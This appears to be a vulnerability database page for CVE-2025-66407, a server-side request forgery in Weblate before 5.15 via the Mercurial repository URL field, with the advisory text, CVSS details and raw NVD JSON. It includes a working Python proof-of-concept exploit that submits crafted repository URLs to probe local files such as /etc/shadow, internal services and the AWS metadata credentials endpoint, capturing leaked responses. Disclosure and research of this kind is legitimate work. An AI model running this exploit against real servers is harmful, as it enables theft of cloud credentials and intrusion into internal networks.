Security Vulnerability Report
中文
CVE-2025-66407 CVSS 5.0 MEDIUM

CVE-2025-66407

Published: 2025-12-16 00:16:02
Last Modified: 2026-01-12 17:25:01

Description

Weblate is a web based localization tool. The Create Component functionality in Weblate allows authorized users to add new translation components by specifying both a version control system and a source code repository URL to pull from. However, prior to version 5.15, the repository URL field is not validated or sanitized, allowing an attacker to supply arbitrary protocols, hostnames, and IP addresses, including localhost, internal network addresses, and local filenames. When the Mercurial version control system is selected, Weblate exposes the full server-side HTTP response for the provided URL. This effectively creates a server-side request forgery (SSRF) primitive that can probe internal services and return their contents. In addition to accessing internal HTTP endpoints, the behavior also enables local file enumeration by attempting file:// requests. While file contents may not always be returned, the application’s error messages clearly differentiate between files that exist and files that do not, revealing information about the server’s filesystem layout. In cloud environments, this behavior is particularly dangerous, as internal-only endpoints such as cloud metadata services may be accessible, potentially leading to credential disclosure and full environment compromise. This has been addressed in the Weblate 5.15 release. As a workaround, remove Mercurial from `VCS_BACKENDS`; the Git backend is not affected. The Git backend was already configured to block the file protocol and does not expose the HTTP response content in the error message.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:weblate:weblate:*:*:*:*:*:*:*:* - VULNERABLE
Weblate < 5.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-66407 PoC - Weblate SSRF via Mercurial VCS # Target: Weblate < 5.15 with Mercurial backend enabled def exploit_weblate_ssrf(target_url, auth_token, component_name): """ Exploit Weblate SSRF vulnerability through Create Component functionality """ # Test cases for different attack vectors attack_vectors = [ # Local file enumeration {"url": "file:///etc/passwd", "description": "Read local passwd file"}, {"url": "file:///etc/hostname", "description": "Read hostname"}, {"url": "file:///etc/shadow", "description": "Attempt to read shadow file"}, # Internal network probing {"url": "http://localhost/admin/", "description": "Probe localhost admin interface"}, {"url": "http://127.0.0.1:22/", "description": "Probe SSH service"}, {"url": "http://192.168.1.1/", "description": "Probe internal router"}, # Cloud metadata service (AWS example) {"url": "http://169.254.169.254/latest/meta-data/", "description": "AWS EC2 metadata"}, {"url": "http://169.254.169.254/latest/user-data/", "description": "AWS EC2 user data"}, {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "description": "AWS IAM credentials"}, # Internal API endpoints {"url": "http://10.0.0.5:8080/actuator/env", "description": "Spring Boot actuator"}, {"url": "http://10.0.0.10:9200/_cat/indices", "description": "Elasticsearch indices"} ] results = [] headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } for vector in attack_vectors: payload = { "name": component_name, "slug": component_name.lower().replace(" ", "-"), "vcs": "mercurial", # Key: Mercurial backend exposes response "repo": vector["url"], # Malicious URL "push": "", "repobranch": "main" } try: response = requests.post( f"{target_url}/api/components/", headers=headers, json=payload, timeout=10, verify=False ) result = { "target": vector["url"], "description": vector["description"], "status_code": response.status_code, "response_length": len(response.text), "vulnerable": response.status_code != 400 } # Check for file existence via error message differentiation if "file:///" in vector["url"]: if "No such file" in response.text or "not found" in response.text.lower(): result["file_exists"] = False else: result["file_exists"] = True result["leaked_content"] = response.text[:500] results.append(result) except requests.RequestException as e: results.append({ "target": vector["url"], "error": str(e) }) return results # Example usage if __name__ == "__main__": target = "https://vulnerable-weblate.example.com" token = "your-auth-token-here" component = "MaliciousComponent" print("[*] Testing Weblate SSRF vulnerability...") results = exploit_weblate_ssrf(target, token, component) print(json.dumps(results, indent=2))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66407", "sourceIdentifier": "[email protected]", "published": "2025-12-16T00:16:02.357", "lastModified": "2026-01-12T17:25:01.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Weblate is a web based localization tool. The Create Component functionality in Weblate allows authorized users to add new translation components by specifying both a version control system and a source code repository URL to pull from. However, prior to version 5.15, the repository URL field is not validated or sanitized, allowing an attacker to supply arbitrary protocols, hostnames, and IP addresses, including localhost, internal network addresses, and local filenames. When the Mercurial version control system is selected, Weblate exposes the full server-side HTTP response for the provided URL. This effectively creates a server-side request forgery (SSRF) primitive that can probe internal services and return their contents. In addition to accessing internal HTTP endpoints, the behavior also enables local file enumeration by attempting file:// requests. While file contents may not always be returned, the application’s error messages clearly differentiate between files that exist and files that do not, revealing information about the server’s filesystem layout. In cloud environments, this behavior is particularly dangerous, as internal-only endpoints such as cloud metadata services may be accessible, potentially leading to credential disclosure and full environment compromise. This has been addressed in the Weblate 5.15 release. As a workaround, remove Mercurial from `VCS_BACKENDS`; the Git backend is not affected. The Git backend was already configured to block the file protocol and does not expose the HTTP response content in the error message."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:weblate:weblate:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.15", "matchCriteriaId": "14EFFA2F-0B87-4B40-936D-8A2BFBB069A2"}]}]}], "references": [{"url": "https://github.com/WeblateOrg/weblate/pull/17102", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/WeblateOrg/weblate/pull/17103", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-hfpv-mc5v-p9mm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}